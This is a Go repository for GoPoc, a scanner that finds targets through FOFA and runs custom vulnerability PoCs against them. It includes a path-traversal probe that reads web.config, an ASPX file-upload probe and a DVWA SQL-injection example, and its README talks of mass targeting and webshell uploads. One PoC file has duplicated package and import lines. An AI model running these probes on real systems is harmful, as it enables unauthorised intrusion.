├── .idea
├── .gitignore
├── Scanner.iml
├── dictionaries
│ └── Tophanter.xml
├── goscanner.iml
├── inspectionProfiles
│ └── Project_Default.xml
├── modules.xml
└── vcs.xml
├── Poc
├── readme.txt
├── xxServerFileReadVuln.go
└── xxServerFileUploadVuln.go
├── README.md
├── go.mod
├── go.sum
├── main
├── Developer
│ ├── AllFormat
│ │ ├── ExpResult.go
│ │ ├── FingerprintStruct.go
│ │ ├── Header.go
│ │ ├── PocStruct.go
│ │ ├── RequestPackage.go
│ │ ├── ResponsePackage.go
│ │ └── customResponse.go
│ ├── Core
│ │ ├── CoreForSendByCode.go
│ │ ├── CoreForSendByJson.go
│ │ ├── GlobalVar.go
│ │ ├── ParseStatement.go
│ │ ├── isExploit.go
│ │ └── pluginMain.go
│ ├── Fofa
│ │ ├── Fofa.go
│ │ ├── FofaSample.go
│ │ └── vendor
│ │ │ ├── github.com
│ │ │ ├── buger
│ │ │ │ └── jsonparser
│ │ │ │ │ ├── .gitignore
│ │ │ │ │ ├── .travis.yml
│ │ │ │ │ ├── Dockerfile
│ │ │ │ │ ├── LICENSE
│ │ │ │ │ ├── Makefile
│ │ │ │ │ ├── README.md
│ │ │ │ │ ├── bytes.go
│ │ │ │ │ ├── bytes_safe.go
│ │ │ │ │ ├── bytes_unsafe.go
│ │ │ │ │ ├── escape.go
│ │ │ │ │ └── parser.go
│ │ │ └── fofapro
│ │ │ │ └── fofa-go
│ │ │ │ ├── LICENSE
│ │ │ │ └── fofa
│ │ │ │ └── fofa.go
│ │ │ └── modules.txt
│ ├── HttpAbout
│ │ ├── GlobalVar.go
│ │ ├── HttpConfig.go
│ │ ├── SendHttpRequst.go
│ │ ├── SetProxy.go
│ │ └── SimpleHttp.go
│ ├── handle
│ │ ├── HandleJSON.go
│ │ ├── HandlePack.go
│ │ ├── HandleXML.go
│ │ └── utils.go
│ └── readme.txt
├── Log
│ └── Logger.go
├── User
│ ├── Resource
│ │ ├── GobyFingerprint.txt
│ │ └── test.txt
│ ├── Utils
│ │ ├── FileUtils.go
│ │ ├── Regex.go
│ │ └── Strings.go
│ ├── dvwaSqlScan.go
│ └── readme.txt
├── config.ini
└── main.go
├── pic
└── 演示.gif
└── 更新日志.txt
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # 默认忽略的文件
2 | /shelf/
3 | /workspace.xml
4 | # 基于编辑器的 HTTP 客户端请求
5 | /httpRequests/
6 | # Datasource local storage ignored files
7 | /dataSources/
8 | /dataSources.local.xml
9 |
--------------------------------------------------------------------------------
/.idea/Scanner.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/.idea/dictionaries/Tophanter.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | fofa
5 | goby
6 | vuln
7 |
8 |
9 |
--------------------------------------------------------------------------------
/.idea/goscanner.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/.idea/inspectionProfiles/Project_Default.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
40 |
41 |
42 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Poc/readme.txt:
--------------------------------------------------------------------------------
1 | Poc 文件夹下专门用来存放各种poc,因为User文件夹只能放一个 go poc , 这是由于go语言所设计的, 个人暂时没办法解决
2 |
3 | 注意:
4 | 想使用 Poc文件夹下的 go文件时,请"复制"过去,而不是直接拖过去,因为拖过去会弹个窗让你重构,你点击重构代码就乱套了
5 |
--------------------------------------------------------------------------------
/Poc/xxServerFileReadVuln.go:
--------------------------------------------------------------------------------
1 | package User
2 |
3 | import (
4 | Format "GoPoc/main/Developer/AllFormat"
5 | "GoPoc/main/Developer/HttpAbout"
6 | "GoPoc/main/User/Utils"
7 | "strings"
8 | )
9 |
10 | package User
11 |
12 | import (
13 | "GoPoc/main/Developer/AllFormat"
14 | "GoPoc/main/Developer/HttpAbout"
15 | "GoPoc/main/User/Utils"
16 | "strings"
17 | )
18 |
19 | var Json string
20 | var Poc func(hostInfo string) bool
21 | var Exp func(expResult Format.ExpResult) Format.ExpResult
22 |
23 | // 为避嫌, fofa语句乱填的
24 | func init() {
25 | Json = `{
26 | "VulnName":"某系统任意文件读取漏洞",
27 | "CheckIP":"true",
28 | "Coroutine":"10",
29 | "File":"",
30 | "Fofa":"product=\"xxx\"",
31 | "Url":"",
32 | "Request":{
33 |
34 | "Method": "",
35 |
36 | "Uri": [
37 | ],
38 |
39 | "Header":{
40 | "Accept-Encoding":"gzip"
41 | }
42 | },
43 |
44 | "Response":{
45 |
46 | "Operation":"",
47 |
48 | "Group":[
49 |
50 | {
51 |
52 | "Regexp": "",
53 | "Header":{
54 | },
55 |
56 | "Body":[
57 | ]
58 | },
59 |
60 | {
61 | "Header":{
62 | }
63 | }
64 | ]
65 |
66 | }
67 | }`
68 |
69 | // 发送探测包
70 | sendDetectionPath455445 := func(hostInfo string) (Format.CustomResponseFormat, error) {
71 | config := HttpAbout.NewHttpConfig() // 未指定请求方法则默认GET
72 | config.Uri = "/Launch/Download?FilePath=../web.config"
73 | Utils.FullyAutomaticFillingHeader(config, `GET http://127.0.0.1 HTTP/1.1
74 | Cache-Control: no-cache
75 | User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/6 (Felicia) Firefox/3.0.10
76 | Host: 127.0.0.1
77 | Accept: */*
78 | Accept-Encoding: gzip, deflate, br
79 | Connection: close`) // 挂代理抓个包扔进来这个方法,将自动给请求头赋值(除了Host/UA,Host自动修改为hostInfo,UA不指定会自动生成),不用再手动一个个添加请求头
80 | return HttpAbout.SendHttpRequest(hostInfo, config)
81 | }
82 |
83 | // 如果使用代码模式, Poc函数为必须,其中的参数固定
84 | Poc = func(hostInfo string) bool {
85 | resp, err := sendDetectionPath455445(hostInfo)
86 | if err != nil {
87 | return false
88 | }
89 | if !strings.Contains(resp.Status, "200") { // 如果响应码不包含 200 字样,则返回 false
90 | return false
91 | }
92 | return strings.Contains(resp.Body, "dependentAssembly") // 如果响应包包含 dependentAssembly 字样,则返回 true
93 | }
94 |
95 | // 如果使用代码模式, Exp函数为必须,其中的参数固定
96 | // Exp 你可以尝试自己写一下:
97 | Exp = func(expResult Format.ExpResult) Format.ExpResult {
98 | return expResult
99 | }
100 | }
101 |
--------------------------------------------------------------------------------
/Poc/xxServerFileUploadVuln.go:
--------------------------------------------------------------------------------
1 | package User
2 |
3 | import (
4 | "GoPoc/main/Developer/AllFormat"
5 | "GoPoc/main/Developer/HttpAbout"
6 | "GoPoc/main/User/Utils"
7 | "strings"
8 | )
9 |
10 | var Json string
11 | var Poc func(hostInfo string) bool
12 | var Exp func(expResult Format.ExpResult) Format.ExpResult
13 |
14 | // 为避嫌, fofa语句乱填的
15 | func init() {
16 | Json = `{
17 | "VulnName":"某系统文件上传漏洞",
18 | "CheckIP":"true",
19 | "Coroutine":"10",
20 | "File":"",
21 | "Fofa":"product=\"xxx\"",
22 | "Url":"",
23 | "Request":{
24 |
25 | "Method": "",
26 |
27 | "Uri": [
28 | ],
29 |
30 | "Header":{
31 | "Accept-Encoding":"gzip"
32 | }
33 | },
34 |
35 | "Response":{
36 |
37 | "Operation":"",
38 |
39 | "Group":[
40 |
41 | {
42 |
43 | "Regexp": "",
44 | "Header":{
45 | },
46 |
47 | "Body":[
48 | ]
49 | },
50 |
51 | {
52 | "Header":{
53 | }
54 | }
55 | ]
56 |
57 | }
58 | }`
59 |
60 | // 发送探测包
61 | sendDetectionPath455445 := func(hostInfo string) (Format.CustomResponseFormat, error) {
62 | config := HttpAbout.NewHttpConfig()
63 | config.Uri = "/Launch/Download?FilePath=../web.config"
64 | // 自动赋值请求方法为 POST
65 | Utils.FullyAutomaticFillingHeader(config, `POST /Launch/UploadFile?FileName=toto.aspx&Version=1&Size=100 HTTP/1.1
66 | Host: 127.0.0.1
67 | Accept-Language: zh-CN
68 | Upgrade-Insecure-Requests: 1
69 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
70 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
71 | Accept-Encoding: gzip, deflate, br
72 | Connection: keep-alive
73 | Content-Type: multipart/form-data; boundary=---------------------------45250802924973458471174811279Content-Length: 3
74 |
75 | 123`) // 挂代理抓个包扔进来这个方法,将自动给请求头赋值(除了Host/UA,Host自动修改为hostInfo,UA不指定会自动生成),不用再手动一个个添加请求头
76 | config.Body = `123` // 请求体内容为 123
77 | return HttpAbout.SendHttpRequest(hostInfo, config)
78 | }
79 |
80 | getReturn352435 := func(hostInfo string) (Format.CustomResponseFormat, error) {
81 | config := HttpAbout.NewHttpConfig()
82 | config.Uri = "/Launch/Client/toto.aspx"
83 | // 自动赋值请求方法为 GET
84 | Utils.FullyAutomaticFillingHeader(config, `GET /Launch/UploadFile?FileName=toto.aspx&Version=1&Size=100 HTTP/1.1
85 | Host: 127.0.0.1
86 | Accept-Language: zh-CN
87 | Upgrade-Insecure-Requests: 1
88 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
89 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
90 | Accept-Encoding: gzip, deflate, br`) // 挂代理抓个包扔进来这个方法,将自动给请求头赋值(除了Host/UA,Host自动修改为hostInfo,UA不指定会自动生成),不用再手动一个个添加请求头
91 | config.Body = `123` // 请求体内容为 123
92 | return HttpAbout.SendHttpRequest(hostInfo, config)
93 | }
94 |
95 | // 如果使用代码模式, Poc函数为必须,其中的参数固定
96 | Poc = func(hostInfo string) bool {
97 | resp, err := sendDetectionPath455445(hostInfo)
98 | if err != nil {
99 | return false
100 | }
101 | if !strings.Contains(resp.Status, "200") { // 如果响应码不包含 200 字样,则返回 false
102 | return false
103 | }
104 | resp, err = getReturn352435(hostInfo)
105 | if err != nil {
106 | return false
107 | }
108 | return strings.Contains(resp.Body, "123") // 如果响应包包含 123 字样,则返回 true
109 | }
110 |
111 | // 如果使用代码模式, Exp函数为必须,其中的参数固定
112 | // Exp 你可以尝试自己写一下:
113 | Exp = func(expResult Format.ExpResult) Format.ExpResult {
114 | return expResult
115 | }
116 | }
117 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # [红蓝工具] GoPoc
2 |
3 | **基于 Json 、自定义Go脚本、fofa的快速验证扫描引擎,可用于快速验证目标是否存在该漏洞。**
4 |
5 | **注意:Json模式后续不再维护,因为扩展性太差,请使用 代码模式**
6 |
7 | 使用场景:
8 |
9 | - 你是否发现一个新漏洞但苦于无法快速编写成脚本?这款工具可能适合你,只要你能看http请求包/响应包就能上手写poc。
10 | - 想更高深的利用?比如文件上传写冰蝎、哥斯拉。那么代码模式适合你。
11 | - **办公、蓝队场景**:比如上级让你统计某批用户的发帖量,你固然可以点鼠标一个个算对应用户的发帖量,但何不写个脚本全自动跑,下次遇到了再运行脚本?
12 | - **红队场景**:nuclei上发现一个不错的漏洞或者你自己挖掘到的漏洞,将其转换为GoPoc,这样打点速度极快(毕竟FOFA可以指定语法,导出一批资产)
13 | - 和 nuclei 的区别:nuclei有非常庞大的用户社区,可以比较快速的提供非常新的poc,而GoPoc侧重在poc/exp编写,
14 | 通过断点调试的方法可以帮助我们快速编写poc/exp , 最后再结合fofa来快速打点。你可以经常编写GoPoc 形成你自己的漏洞库,GoPoc不会随意的使用所有Poc,而是在符合条件的情况下才会使用Poc(比如目标资产符合你设置的FOFA语法、符合探测模式构建的语法),这样可以避免被安全设备提前探测拦截。
15 | - 本工具本质上和Goby基本一致,可以利用GoPoc打造属于自己的漏洞库
16 |
17 | # 注意事项:
18 | - User文件夹下只能放一个自己写的go poc文件,这是由于go语言的特性,个人暂时没有解决办法
19 | - 想使用 Poc文件夹下的 go文件时,请"复制"过去,而不是直接拖过去,因为拖过去会弹个窗让你重构,你点击重构代码就乱套了,就无法使用 (你要是会开发可以直接拖过去)
20 |
21 | # 免责声明
22 |
23 | ```md
24 | 本工具仅面向合法授权的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
25 |
26 | 为避免被恶意使用,本项目不提供任何poc,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。
27 |
28 | 在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行扫描。
29 |
30 | 如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
31 |
32 | 在安装并使用本工具前,请您务必审慎阅读、充分理解各条款内容,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
33 | ```
34 |
35 |
36 |
37 | # 使用教程
38 |
39 | - 1. 请 **下载源码** 使用
40 | 2. 使用ide打开项目,比如 goland
41 | 3. 在 User 包下新建一个 "文件名.go"
42 | 4. 创建一个配置文件,比如 config.ini
43 | 5. 使用 -ini 参数加载配置文件.
44 | - config.ini 内容如下:
45 |
46 | ```md
47 | -email // fofa的email (必须)
48 | -key // fofa的key (必须)
49 | -vul // poc/exp文件,文件后缀为.go (必须)
50 | -mod // 指定poc/exp这两种模式 (必须)
51 | -proxy // burpsuite 代理,用于方便写poc/exp (必须)
52 | -coroutine // 最大并发量,越大扫描速度越快,取决于你CPU性能 (非必须,不填默认为200)
53 | -maxFofaSize // fofa最大检索数 (必须)
54 | -detectionMode // 是否开启探测模式,若开启则先发送一个包,根据响应包匹配指纹
55 | -builtinFingerprint // 为 true 时不使用用户输入的语句,而是使用 GoPoc 内置的指纹库去跑 [优点是内置指纹庞大,有7k条,缺点是扫描速度直线下降,因为要对庞大指纹库进行匹配]
56 | ------------------------------------
57 | 例如
58 | -email
59 | xxxxxxxxxxx@gamil.com
60 | -key
61 | fdgdfhfgdhdfgdhfghfdg
62 | -vul
63 | D:\Coding\Github\GoPoc\main\User\test.go
64 | -mod
65 | poc
66 | -proxy
67 | http://127.0.0.1:8082
68 | -coroutine
69 | 3
70 | -maxFofaSize
71 | 300
72 | -detectionMode
73 | false
74 | -builtinFingerprint
75 | true
76 | ```
77 |
78 | - **利用模式**:
79 |
80 | - Json 模式:被废弃,但保留对应源码
81 |
82 | - go 模式
83 |
84 | 在 main\User 文件夹下新建一个 **文件名.go** 文件,然后 config 文件指定该 go 文件即可,go 文件的内容如下[只做样例说明,真正的文件请看 dvwaSqlScan.go 文件]:
85 |
86 | ```go
87 | package User
88 |
89 | import (
90 | "GoPoc/main/Developer/AllFormat"
91 | "GoPoc/main/Developer/HttpAbout"
92 | "GoPoc/main/User/Utils"
93 | "net/http"
94 | "strings"
95 | )
96 |
97 | var Json string
98 | var Poc func(hostInfo string, client *http.Client) bool
99 | var Exp func(expResult Format.ExpResult, client *http.Client) Format.ExpResult
100 |
101 | // Poc 编写,以 dvwa 靶场的sql注入为例
102 | func init() {
103 | // 有代码使用代码,无代码使用json
104 | // 如果存在代码,可以不写Json格式(即Json格式有架构,但内容为空).但必须存在 fofa语句
105 | // 此处的json只是说明json的使用方式,与代码模式并无关联
106 | Json = `{
107 | // 值非必须,如果值为false则不进行代理检测,适用于内部或工作使用的脚本,默认进行代理检测,防止粗心导致喝茶
108 | "CheckIP":"true",
109 | // 值非必须,如果有值则使用这个协程数,否则使用全局协程数,全局协程数不写也行,默认使用200
110 | "Coroutine":"10",
111 | // 值非必须,如果有值则不使用fofa查询,而直接访问该File对应的文件,比如url.txt
112 | "File":"",
113 | // 值非必须,如果有值则不使用fofa查询,而直接访问该Url,比如 http://www.baidu.com ,要带http://或https://
114 | "Url":"https://www.baidu.com",
115 | // 必须,表明想要查找的fofa语句.
116 | "Fofa":"body=\"Login :: Damn Vulnerable Web Application\"",
117 | "Uri" : "/dvwa/" // 这个uri指的是探测模式是所要访问的uri
118 | // 请求包
119 | "Request":{
120 | // 请求方法
121 | "Method": "GET",
122 | // 请求路径,这里分别请求两个uri
123 | "Uri": [
124 | "/robots.txt",
125 | "/hello.txt"
126 | ],
127 | // 自定义 header 头
128 | "Header":{
129 | "Accept-Encoding":"gzip"
130 | }
131 | },
132 | // 响应包
133 | "Response":{
134 | // 定义多个Group之间的关系,有AND和OR这两种,其中AND是都满足漏洞才存在,OR是其中一个条件满足即可.
135 | "Operation":"OR",
136 | // 判断条件
137 | "Group":[
138 | // 条件1
139 | {
140 | // 支持正则表达式
141 | "Regexp": ".*?",
142 | "Header":{
143 | // 状态码
144 | "Status": "200"
145 | },
146 | // response Body ,同样是支持多个Body,当都符合时为True
147 | "Body":[
148 | "Hello World",
149 | "wahaha"
150 | ]
151 | },
152 | // 条件2
153 | {
154 | "Header":{
155 | // 状态码
156 | "Status": "200"
157 | }
158 | }
159 | ]
160 |
161 | }
162 | }`
163 |
164 | getSessionByLogin := func(hostInfo string) (string, error) {
165 | // 发起登录请求 --> 302跳转 --> 获取请求包中的session , 并返回
166 | config := HttpAbout.NewHttpConfig()
167 | config.Uri = "/dvwa/"
168 | resp, err := HttpAbout.SendHttpRequest(hostInfo, config)
169 | if err != nil {
170 | return "", err
171 | }
172 | config.Header["Cookie"] = resp.Header["Set-Cookie"][0]
173 | config.Body = "username=admin&password=password&Login=Login&user_token=" + Utils.RandomStringByModule(24, 1)
174 | config.Uri = "/dvwa/login.php"
175 | resp, err = HttpAbout.SendHttpRequest(hostInfo, config)
176 | if err != nil {
177 | return "", err
178 | }
179 | if !strings.Contains(resp.Body, "Welcome :: Damn Vulnerable Web ") {
180 | return "", err
181 | }
182 | return resp.Header["Set-Cookie"][0], nil
183 | }
184 |
185 | // 建议: 函数名+随机命名
186 | sendLoginByToken455445 := func(hostInfo string) (Format.CustomResponseFormat, error) {
187 | var err error
188 | var customResponse Format.CustomResponseFormat
189 | config := HttpAbout.NewHttpConfig()
190 | config.Header["Cookie"], err = getSessionByLogin(hostInfo) // (非强制) 自定义Header头
191 | if err != nil {
192 | return customResponse, nil
193 | }
194 | config.Header["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
195 | config.Header["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0" // (非强制) 如果不写的话随机从默认URL列表上选取一个
196 | config.TimeOut = 5 // (非强制) 如果不写的话默认值为 5秒
197 | config.Method = "GET" // (非强制) 如果不写的话默认值为 GET方式
198 | //config.Body = `123` // (非强制) 如果不写的话默认值为 ""
199 | config.Uri = "/dvwa/index.php" // (非强制) 如果不写的话默认值为 ""
200 | config.IsRedirect = true // (非强制) 如果不写的话默认值为 false,即返回的响应包数据为重定向前的响应包
201 | return HttpAbout.SendHttpRequest(hostInfo, config)
202 | }
203 |
204 | // 建议: 函数名+随机命名
205 | sendSqlPayload5251552 := func(hostInfo string) (Format.CustomResponseFormat, error) {
206 | config := HttpAbout.NewHttpConfig()
207 | config.Header["Cookie"] = "security=low; PHPSESSID=1abcbe73869e90560e9061ca636c813e"
208 | config.Uri = "/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit#"
209 | return HttpAbout.SendHttpRequest(hostInfo, config)
210 | }
211 |
212 | // 如果使用代码模式, Poc函数为必须,其中的参数固定
213 | Poc = func(hostInfo string) bool {
214 | resp, err := sendLoginByToken455445(hostInfo)
215 | if err != nil {
216 | return false
217 | }
218 | if !strings.Contains(resp.Body, "Welcome to Damn") {
219 | return false
220 | }
221 | resp, err = sendSqlPayload5251552(hostInfo)
222 | return err == nil && strings.Contains(resp.Body, "You have an error in your SQL syntax;")
223 | }
224 |
225 | // 如果使用代码模式, Exp函数为必须,其中的参数固定
226 | // Exp 你可以尝试自己写一下:
227 | Exp = func(expResult Format.ExpResult) Format.ExpResult {
228 | return expResult
229 | }
230 | }
231 |
232 |
233 | ```
234 |
235 |
236 |
237 | - 书写规范:
238 |
239 | ```md
240 | 1. 使用go模式时必须存在 Poc/Exp 函数
241 | 2. 如果存在代码,可以不写Json格式(即Json格式有架构,但内容为空).但必须存在 fofa语句
242 | ```
243 |
244 | # 效果展示:
245 |
246 | 
247 |
248 | # 特性
249 |
250 | ```md
251 | 1. 基于 fofa 规则匹配对应产品,匹配成功后才开始使用POC,避免发送无用包
252 | 2. POC 易编写,只需要会看http响应包和http回显包即可
253 | ```
254 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module GoPoc
2 |
3 | go 1.19
4 |
5 | require github.com/buger/jsonparser v1.1.1
6 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/buger/jsonparser v1.1.1 h1:2PnMjfWD7wBILjqQbt530v576A/cAbQvEW9gGIpYMUs=
2 | github.com/buger/jsonparser v1.1.1/go.mod h1:6RYKKt7H4d4+iWqouImQ9R2FZql3VbhNgx27UK13J/0=
3 |
--------------------------------------------------------------------------------
/main/Developer/AllFormat/ExpResult.go:
--------------------------------------------------------------------------------
1 | package Format
2 |
3 | type ExpResult struct {
4 | HostInfo string
5 | Output string
6 | Success bool
7 | }
8 |
--------------------------------------------------------------------------------
/main/Developer/AllFormat/FingerprintStruct.go:
--------------------------------------------------------------------------------
1 | package Format
2 |
3 | type Fingerprint struct {
4 | Product string `json:"product"`
5 | Rule string `json:"rule"`
6 | }
7 |
8 | type Rule struct {
9 | Header string `json:"header"`
10 | Body string `json:"body"`
11 | }
12 |
--------------------------------------------------------------------------------
/main/Developer/AllFormat/Header.go:
--------------------------------------------------------------------------------
1 | package Format
2 |
3 | type Header struct {
4 | UserAgent string `json:"User-Agent"`
5 | AcceptEncoding string `json:"Accept-Encoding"`
6 | Accept string `json:"Accept"`
7 | Host string `json:"Host"`
8 | ContentType string `json:"Content-Type"`
9 | }
10 |
--------------------------------------------------------------------------------
/main/Developer/AllFormat/PocStruct.go:
--------------------------------------------------------------------------------
1 | package Format
2 |
3 | type PocStruct struct {
4 | RequestPackage RequestPackage `json:"Request"`
5 | ResponsePackage ResponsePackage `json:"Response"`
6 | Fofa string `json:"Fofa"`
7 | Uri string `json:"Uri"`
8 | Url string `json:"Url"`
9 | File string `json:"File"`
10 | Coroutine string `json:"Coroutine"`
11 | CheckIP string `json:"CheckIP"`
12 | VulnName string `json:"VulnName"`
13 | }
14 |
--------------------------------------------------------------------------------
/main/Developer/AllFormat/RequestPackage.go:
--------------------------------------------------------------------------------
1 | package Format
2 |
3 | type RequestPackage struct {
4 | Method string `json:"Method"`
5 | Url string `json:"Url"`
6 | Uri []string `json:"Uri"`
7 | Header map[string]interface{} `json:"Header"`
8 | Body string `json:"Body"`
9 | }
10 |
--------------------------------------------------------------------------------
/main/Developer/AllFormat/ResponsePackage.go:
--------------------------------------------------------------------------------
1 | package Format
2 |
3 | type ResponsePackage struct {
4 | Operation string `json:"Operation"`
5 | Group []Group `json:"Group"`
6 | }
7 |
8 | type Group struct {
9 | Regexp string `json:"Regexp"`
10 | Header map[string]interface{} `json:"Header"`
11 | Body []string `json:"Body"`
12 | }
13 |
--------------------------------------------------------------------------------
/main/Developer/AllFormat/customResponse.go:
--------------------------------------------------------------------------------
1 | package Format
2 |
3 | import (
4 | "crypto/tls"
5 | "io"
6 | "net/http"
7 | )
8 |
9 | type CustomResponseFormat struct {
10 | Body string
11 | Status string // e.g. "200 OK"
12 | StatusCode int // e.g. 200
13 | Proto string // e.g. "HTTP/1.0"
14 | ProtoMajor int // e.g. 1
15 | ProtoMinor int // e.g. 0
16 | Header map[string][]string
17 | RawBody io.ReadCloser
18 | Raw string // 原始报文
19 | ContentLength int64
20 | TransferEncoding []string
21 | Close bool
22 | Uncompressed bool
23 | Trailer map[string][]string
24 | Request *http.Request
25 | TLS *tls.ConnectionState
26 | }
27 |
--------------------------------------------------------------------------------
/main/Developer/Core/CoreForSendByCode.go:
--------------------------------------------------------------------------------
1 | package Core
2 |
3 | import (
4 | Format "GoPoc/main/Developer/AllFormat"
5 | "GoPoc/main/Developer/HttpAbout"
6 | "GoPoc/main/Log"
7 | "GoPoc/main/User"
8 | "bufio"
9 | "encoding/json"
10 | "fmt"
11 | "log"
12 | "net/url"
13 | "os"
14 | "strings"
15 | "sync"
16 | )
17 |
18 | func ForSendByCode(pocOrExp string, urlsList []string, pocStruct Format.PocStruct) {
19 | if IsDetectionModeByBool {
20 | Log.Log.Println("[+] 已开启探测模式,将根据poc想要扫描的全部url(支持 Url/File)分别发起一个请求,如果不符合自定义规则,则不执行 Poc/Exp 部分")
21 | }
22 |
23 | waitGroup := &sync.WaitGroup{}
24 | numThreads := MaxConcurrentLevelInt // 计算要划分的小的urlsList数量
25 | if numThreads > len(urlsList) {
26 | numThreads = len(urlsList)
27 | }
28 | if numThreads == 0 {
29 | numThreads = 1
30 | }
31 | urlsPerThread := len(urlsList) / numThreads
32 | for i := 0; i < numThreads; i++ {
33 | start := i * urlsPerThread
34 | end := start + urlsPerThread
35 | if i == numThreads-1 {
36 | end = len(urlsList)
37 | }
38 |
39 | subURLsList := urlsList[start:end]
40 | waitGroup.Add(1)
41 | panicIndex := i
42 | go func(subURLs []string) {
43 | defer func() {
44 | if r := recover(); r != nil {
45 | fmt.Printf("协程 %d 从报错中恢复,报错原因: %v\n\n", panicIndex, r)
46 | }
47 | waitGroup.Add(-1)
48 | }()
49 |
50 | for _, tmpUrl := range subURLs {
51 | parsedURL, err := url.Parse(tmpUrl)
52 | if err != nil {
53 | continue
54 | }
55 | if !IsExploitSuccessByCode(pocOrExp, tmpUrl, pocStruct) {
56 | continue
57 | }
58 | splitURL := strings.Split(tmpUrl, "?")
59 | if len(splitURL) < 2 {
60 | Log.Log.Println("[+] [ " + parsedURL.Scheme + "://" + parsedURL.Host + "/" + " ]\tSuccess! The target may have this vulnerability")
61 | } else {
62 | params := strings.Split(splitURL[1], "&")
63 | encodedParams := make([]string, len(params))
64 | for tmpI := range params {
65 | p := strings.Split(params[tmpI], "=")
66 | encodedParams[tmpI] = url.QueryEscape(p[0]) + "=" + url.QueryEscape(p[1])
67 | }
68 | Log.Log.Println("[+] [ " + parsedURL.Scheme + "://" + parsedURL.Host + "/" + strings.Join(encodedParams, "&") + " ]\tSuccess! The target may have this vulnerability")
69 | }
70 | }
71 | }(subURLsList)
72 | }
73 | waitGroup.Wait()
74 | }
75 |
76 | func sendDetectionPackage(hostInfo string, pocStruct Format.PocStruct) (Format.CustomResponseFormat, error) {
77 | config := HttpAbout.NewHttpConfig()
78 | config.Uri = pocStruct.Uri
79 | config.TimeOut = 10
80 | config.Method = "GET"
81 | config.IsRedirect = true
82 | return HttpAbout.SendHttpRequest(hostInfo, config)
83 | }
84 |
85 | // IsDetectionMode 开启检测模式,不借助 fofa 进行页面规则的扫描
86 | func IsDetectionMode(hostInfo string, pocStruct Format.PocStruct) bool {
87 | var bodyArray []string
88 | var headerArray []string
89 | var bodyCounter int
90 | var headerCounter int
91 | headerValuesList := ""
92 | resp, err := sendDetectionPackage(hostInfo, pocStruct)
93 | if err != nil {
94 | Log.Log.Fatal("[-] 解析探测语句失败! :", err)
95 | }
96 | if strings.Contains(resp.Body, "
Burp Suite") && strings.Contains(resp.Body, "background: #e06228; padding: 10px 15px") {
97 | Log.Log.Fatal("[-] 浏览器没开代理插件,比如 firefox 的 FoxyProxy 没开启代理")
98 | return false
99 | }
100 |
101 | if IsBuiltinFingerprint { // 是否使用内置指纹库进行匹配
102 | var fingerprint Format.Fingerprint
103 | fingerprintGlobal, _ := os.Open("./main/User/Resource/GobyFingerprint.txt") // test.txt GobyFingerprint.txt
104 | scanner := bufio.NewScanner(fingerprintGlobal)
105 | counter := 0
106 | fingerprintList := ""
107 | isHaveFingerprint := false
108 | for scanner.Scan() {
109 | jsonData := scanner.Text() // 获取当前行的内容
110 | err = json.Unmarshal([]byte(jsonData), &fingerprint)
111 | if err != nil {
112 | log.Fatal(err)
113 | }
114 | counter++
115 | transformed, keyOperatorValue := convertLogicalExpression(fingerprint.Rule) // 精简化语句,方便进行逆波兰运算
116 | bodyArray, headerArray, bodyCounter, headerCounter = getKeyOperatorValue(keyOperatorValue) // 获取所有的键值对以及算数运算符
117 | bodyArrayByBool := make([]bool, bodyCounter)
118 | headerArrayByBool := make([]bool, headerCounter)
119 | bodyCounter = 0
120 | headerCounter = 0
121 | if len(bodyArray) == 0 && len(headerArray) == 0 {
122 | return false
123 | }
124 |
125 | if strings.Contains(transformed, "header") {
126 | headerValuesList = resp.Proto + " " + resp.Status + "\n"
127 | for key, values := range resp.Header {
128 | headerValuesList = headerValuesList + key + ": "
129 | for _, value := range values {
130 | headerValuesList = headerValuesList + value + "\n"
131 | }
132 | }
133 | }
134 |
135 | // 扫一遍,得知每个表达式是true还是false
136 | for _, condition := range keyOperatorValue {
137 | if condition.Value == "" {
138 | continue
139 | }
140 | switch strings.ToLower(condition.Key) {
141 | case "title":
142 | case "body":
143 | if !strings.Contains(condition.Operator, "!") {
